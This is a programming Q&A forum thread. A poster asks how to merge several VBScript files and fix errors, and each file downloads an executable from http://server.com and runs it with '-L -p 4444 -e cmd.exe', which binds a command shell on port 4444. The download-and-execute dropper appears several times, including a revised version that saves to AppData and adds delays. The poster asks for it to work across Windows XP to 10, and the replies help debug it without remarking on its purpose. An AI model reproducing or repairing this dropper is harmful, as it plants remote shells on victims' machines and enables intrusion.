How can I combine multiple .vbs script of the same function into one .vbs?

Question

1.00/5 (1 vote)

See more:

I am trying to combine the .vbs scripts below into one .vbs. Below is sample of my code:

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download1.exe" 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download2.exe" 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download3.exe" 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

When I tried to run the code above, I'm always getting an error as stated in the image below:
Operation is not allowed when the object is open

Best solution to fix this or to make script wait and complete before proceeding to the next. will be greatly appreciated.

What I have tried:

I have tried using:
Next, WScript.Sleep 1000 and Delay syntax but none is working as expected.

Posted 30-Jan-20 16:02pm

cHl Security

Updated 31-Jan-20 1:50am

Add a Solution

Comments

Richard MacCutchan 31-Jan-20 4:35am

Since there is so much duplication in the code it would make more sense to convert one version to a subroutine that accepts parameters for the variables.

ZurdoDev 31-Jan-20 7:26am

It means you are trying to do something, like open, a stream that is already open.

cHl Security 31-Jan-20 7:33am

I actually want to download multiple files and execute but a download and execute process has to be completed before mooving to the next.

cHl Security 31-Jan-20 7:33am

Please I'd appreciate if I can get some help on restructuring the code to make it work.

1 solution

Add a Solution

Add your solution here

Treat my content as plain text, not as HTML

Preview 0

…

Existing Members

Sign in to your account

...or Join us

Download, Vote, Comment, Publish.

Your Email
Password
Forgot your password?

Your Email
This email is in use. Do you need your password?
Optional Password

I have read and agree to the Terms of Service and Privacy Policy
Please subscribe me to the CodeProject newsletters

When answering a question please:

Read the question carefully.
Understand that English isn't everyone's first language so be lenient of bad spelling and grammar.
If a question is poorly phrased then either ask for clarification, ignore it, or edit the question and fix the problem. Insults are not welcome.
Don't tell someone to read the manual. Chances are they have and don't get it. Provide an answer or move on to the next question.

Let's work to help developers, not make them feel stupid.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

phil.o · Answer 1 · 2020-01-31T01:50:00

Solution 1

This SO post may sched a light on your issue: excel - ADODB.Stream.saveToFile -> Wait until file is saved? - Stack Overflow[^].
And this one also: vbscript - Wait for program to complete - Stack Overflow[^].

As a supplemental note, if you are combining several files, you do not need to redefine variables once they have been declared. Meaning, the lines

VBScript

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")

are useless the second and third times; you can skip them.

Posted 31-Jan-20 1:50am

phil.o

Comments

cHl Security 31-Jan-20 9:18am

I am not vast in coding. I barely know how sto structure this.

phil.o 31-Jan-20 9:46am

The only way to learn is to give it a try. You may most probably run into some other issues, but the trial-and-error process will be extremely educative.

cHl Security 31-Jan-20 13:03pm

I was able to sole the issue but I am still facing write issue and execution error issue:

WScript.Sleep 30000
dim http_obj
dim stream_obj
dim shell_obj
WScript.Sleep 2000
WScript.Sleep 2000
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
WScript.Sleep 2000
WScript.Sleep 2000
URL = "http://server.com/download.exe" 'Where to download the file from
FILENAME = "c:\Users\Default\AppData\Roaming\download.exe" 'Name to save the file (on the local system)
RUNCMD = "c:\Users\Default\AppData\Roaming\download.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
WScript.Sleep 2000
WScript.Sleep 2000
http_obj.open "GET", URL, False
http_obj.send
WScript.Sleep 2000
WScript.Sleep 2000
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
stream_obj.close

Using the Save to path & Execution:

FILENAME = "c:\Users\Default\AppData\Roaming\download.exe"
RUNCMD = "c:\Users\Default\AppData\Roaming\download.exe -L -p 4444 -e cmd.exe"

Works well on windows 7 - 10 but won't work on windows xp, Windows XP Gives error:
Unable to locate resource specifiled.

Using the Save to path & execution:

FILENAME = "%AppData%\download.exe
RUNCMD = "%AppData%\download.exe -L -p 4444 -e cmd.exe"

Doesn't work at all and it give errors that:
Write Failed on windows 7-10 and
on windows xp:
Unable to locate resource specified.

Please is there a solution to this?